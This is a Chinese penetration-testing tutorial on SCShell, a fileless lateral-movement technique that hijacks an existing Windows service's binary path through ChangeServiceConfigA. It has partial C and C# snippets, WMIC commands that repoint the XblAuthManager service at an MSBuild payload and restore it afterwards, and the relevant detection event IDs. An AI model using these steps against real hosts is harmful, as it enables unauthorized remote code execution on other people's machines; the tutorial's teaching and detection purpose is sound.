高质量的安全文章,安全offer面试经验分享
尽在 # 掌控安全EDU #
一
前言
SCShell
是一款无文件横向移动的工具,主要依赖于 ChangeServiceConfigA
函数,用于修改 Windows 服务的配置。
该工具的优点在于它不会通过 SMB
协议去执行身份验证。该工具是通过 DCE/RPC
协议进行的。
因为是远程修改服务进行的,所以它不需要注册或创建服务。也不会删除远程系统上的任何文件。
与直接使用 sc.exe
的差别在于:如果当前进程无远程主机的权限,则需要使用 SMB
协议进行身份验证,后续步骤两者相同。
二
函数API介绍
1.LogonUserA
该函数是使用用户和明文密码登陆到本地计算机,无法登陆远程计算机。
如果函数成功,则会受到表示已登陆用户的令牌的句柄,然后可以使用此令牌句柄模拟指定用户。
1
|
BOOL LogonUserA(
|
-
lpszUsername:指向以空字符结尾的字符串的指针,该字符串指定用户的名称,也就是要登陆的用户账号。
-
lpszDomain:指向以空字符结尾的字符串的指针,该字符串指定该账户的域或服务器的名称。
如果此参数为 NULL,则必须以 UPN 格式指定用户名。如果此参数为 “.”,则表示使用本地账户来验证。
-
lpszPassword:指向以空字符结尾的字符串的指针,该字符串指向 lpszUsername 中指定用户的明文密码。
结束使用后,可调用 SecureZeroMemory) 函数以清除内存中的密码。
-
dwLogonType:要执行的登陆操作的类型,共计 7 个类型。
此处使用
LOGON32_LOGON_NEW_CREDENTIALS
,该登陆类型允许调用方克隆其当前令牌,并为出站连接指定新的凭据。新的登陆会话具有相同的本地标识符,但对其他网络连接使用不同的凭据。
-
dwLogonProvider:指定登陆提供程序,共计 3 个值.
此处使用系统标准登陆提供程序:
LOGON32_PROVIDER_DEFAULT
-
phToken:指向句柄变量的指针,该变量接收代码指定用户的令牌的句柄。
-
返回值:非零值
2、ImpersonateLoggedOnUserA
与 LogonUserA
函数相呼应。
1 |
BOOL ImpersonateLoggedOnUser( |
-
hToken:代表已登陆用户的主或模拟 Access token 的句柄。
-
返回值:非零值
3、OpenSCManagerA
建立到指定计算机上的服务控制管理器的连接,并打开指定的服务控制管理器数据库。
1 |
SC_HANDLE OpenSCManagerA(
|
-
lpMachineName: 目标计算机名称,如果指针为 NULL或指向空字符串,则该函数将连接本地计算机上的服务控制管理器。
-
lpDatabaseName:服务控制管理器数据库的名称。
默认情况下此参数应设置为
SERVICES_ACTIVE_DATABASE
。
-
dwDesiredAccess:对服务控制管理器的访问。此处应为
SC_MANAGER_ALL_ACCESS
,囊括了列表中的所有权限。有关访问权限列表可参阅【服务安全和访问权限】
-
返回值: 返回指定服务控制管理器数据库的句柄。
4、OpenServiceA
通过服务控制管理器打开现有服务。
1 |
SC_HANDLE OpenServiceA( |
-
hSCManager:服务控制管理器数据库的句柄。
-
lpServiceName:要打开的服务的名称。
该参数是由
CreateService
函数的lpServiceName
参数指定的名称,而不是用户界面应用程序显示的用于标识服务显示名称。 -
dwDesiredAccess:访问服务。此处应为
SERVICE_ALL_ACCESS
,囊括了列表中的所有权限。有关访问权限列表可参阅【服务安全和访问权】
-
返回值: 返回指定服务的句柄。
5、QueryServiceConfigA
检索指定服务的配置参数。
1 |
BOOL QueryServiceConfigA( |
-
hService:指定服务的句柄。
-
lpServiceConfig:指向接收服务配置信息的缓冲区的指针。该数组的最大大小为 8KB。若要确定所需的大小,请设置为 NULL,而
cbBufSize
指定为 0。
-
cbBufSize:指向的缓冲区大小(以字节为单位)。
-
pcbBytesNeeded:如果函数失败并显示
ERROR_INSUFFICIENT_BUFFER
,则该变量的指针将接收存储所有配置信息所需的字节数。
-
返回值: 非零值。
6、ChangeServiceConfigA
更改指定服务的配置参数。
1 |
BOOL ChangeServiceConfigA(
|
-
hService:指定服务的句柄。
-
dwServiceType:服务类型。如果不更改现有服务类型,则指定
SERVICE_NO_CHANGE
。
-
dwStartType:服务启动选项。如果不更改现有的启动类型,则指定
SERVICE_NO_CHANGE
。因为要执行命令,所以使用SERVICE_DEMAND_START
,后续调用StartService
函数时启动服务。
-
dwErrorControl:如果此服务无法启动,应该采取措施应对这个错误。此处应为
SERVICE_ERROR_IGNORE
,忽略该错误并继续启动操作。
-
lpBinaryPathName:服务二进制文件的标准现有路径。如果不更改现有路径,请指定 NULL。如果路径包含空格,则必须使用引号括起来。该路径中还可包含二进制文件的参数。
-
lpLoadOrderGroup:该服务所属的负载排列组的名称。如果不更改现有组,请指定 NULL。
-
lpdwTagId:指向变量的指针,该变量接收在
lpLoadOrderGroup
参数指定的组中唯一的标记值。如果不更改现有标签,请指定 NULL。
-
lpDependencies:指向双 NULL 终止的数组,该数组以空分隔的服务或装入顺序组的名称分隔,系统必须在启动该服务之前才能启动这些名称。(对组的依赖性意味着,在尝试启动该组的所有成员之后,如果该组的至少一个成员正在运行,则该服务可以运行。)如果不更改现有的依赖性,则指定 NULL。
-
lpServiceStartName:服务将在其下运行的帐户的名称。如果不更改现有帐户名,则指定 NULL。
-
lpPassword:
lpServiceStartName
参数指定的帐户名的密码。如果不更改现有密码,请指定 NULL。
-
lpDisplayName:用来为其用户标识服务的显示名称。如果不更改现有的显示名称,则指定 NULL。
-
返回值: 非零值。
7、StartServiceA
启动指定服务。
1 |
BOOL StartServiceA( |
-
hService:要启动的服务的句柄。由
OpenService
返回。
-
dwNumServiceArgs:
lpServiceArgVectors
数组中的字符串数。如果lpServiceArgVectors
为 NULL,则此参数可以为 0。
-
lpServiceArgVectors:以空值结尾的字符串将作为参数传递给服务的
ServiceMain
函数。如果没有参数,则此参数可以为 NULL。
-
返回值: 非零值。
三
技术细节
1、时序图
这一整个过程与 PsExec
操作服务的步骤大部分相同,区别仅是因为 SCshell
是更改配置,而 PsExec
是创建服务。以下内容是作者的代码实现(典型的 API 调用方式编程)。
2、登陆
使用 LogonUserA
登陆。后使用 ImpersonateLoggedOnUser
。
1 |
if(username != NULL) { |
3、Service Manager
一旦当前进程获取了正确的身份验证,即可使用 OpenSCManagerA
打开远程机器的服务控制管理器,并且获取其数据库的句柄。
1 |
SC_HANDLE schManager = OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); |
与该数据库句柄进行交互即可。通过该数据库句柄,使用 OpenServiceA
打开需要的现有服务。
比如作者在演示中使用的是 XblAuthManager
服务。
后续使用中,为了更方便使用,可以选择一些较为通用的服务代替。
1 |
printf("Opening %sn", serviceName); |
之所以要查询服务的配置信息,是为了获取原始服务二进制的路径。
1 |
DWORD dwSize = 0; |
使用 ChangeServiceConfigA
更改已打开的服务的配置。
通常可以直接使用 C:WindowsSystem32cmd.exe args1 args2
这样的配置替换掉二进制文件路径中的内容。
1 |
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL); |
通过调用 StartService
函数时启动已更改配置的服务。
1 |
bResult = StartServiceA(schService, 0, NULL); |
最后再次使用 ChangeServiceConfigA
还原服务的配置。
1 |
if(dwLpqscSize) { |
整个过程还是比较简单的。
四
C#实现
能在 MSDN 中找到的函数,在 pinvoke.net
中基本能找到对相应的例子,所以直接引用即可。
1 |
static void Main(string[] args) |
运行结果:
运行流量:
可以较为明显的看到是 DCE/RPC
协议进行的,且整个过程的 API 调用看得清清楚楚。
项目源码已发布至 Github,请注意查收:SharpSCShell,并将此源码合并至作者的 SCShell
五
日志
使用用户凭证连接目标时,会留下正常的登陆日志,4624。
同时如果服务超时,也会产生 7009 日志。当然,如果直接使用 ELK 监视事件 ID 4657,也是有惊喜的,而且很明显。
该工具经过测试,当防火墙打开时无法连接,且大部分命令无法执行,原因有待探究。
六
WMIC
WMIC
与 SCShell
有类似的功能。
步骤1: 获取目标服务的当前 pathName
,以便我们在运行命令后就可以将其还原(在本例中为 XblAuthManager
)
1 |
wmic /user:DOMAINUSERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' get pathName |
步骤2:将 pathName
更改为要运行的任何命令
1 |
wmic /user:DOMAINUSERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call change PathName="C:WindowsMicrosoft.NetFrameworkv4.0.30319MSBuild.exe C:testPayload.xml" |
步骤3:启动修改后的服务
1 |
wmic /user:DOMAINUSERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call startservice |
步骤4:将服务 pathName
更改回其原始值
1 |
wmic /user:DOMAINUSERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' call change PathName="C:Windowssystem32svchost.exe -k netsvcs" |
这一部分本来打算另起一文,在写 WMI 放入,但想想之后的文章还是留在知识星球进行自我沉淀。
黑客教程~ 课件 靶场 ~ 限!时!免费!送!
长按识别二维码,即可限时免费报名课程。
点击在看~好文大家给一起看!👇
原文始发于微信公众号(掌控安全EDU):【渗透技巧】SCshell 技术细节
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论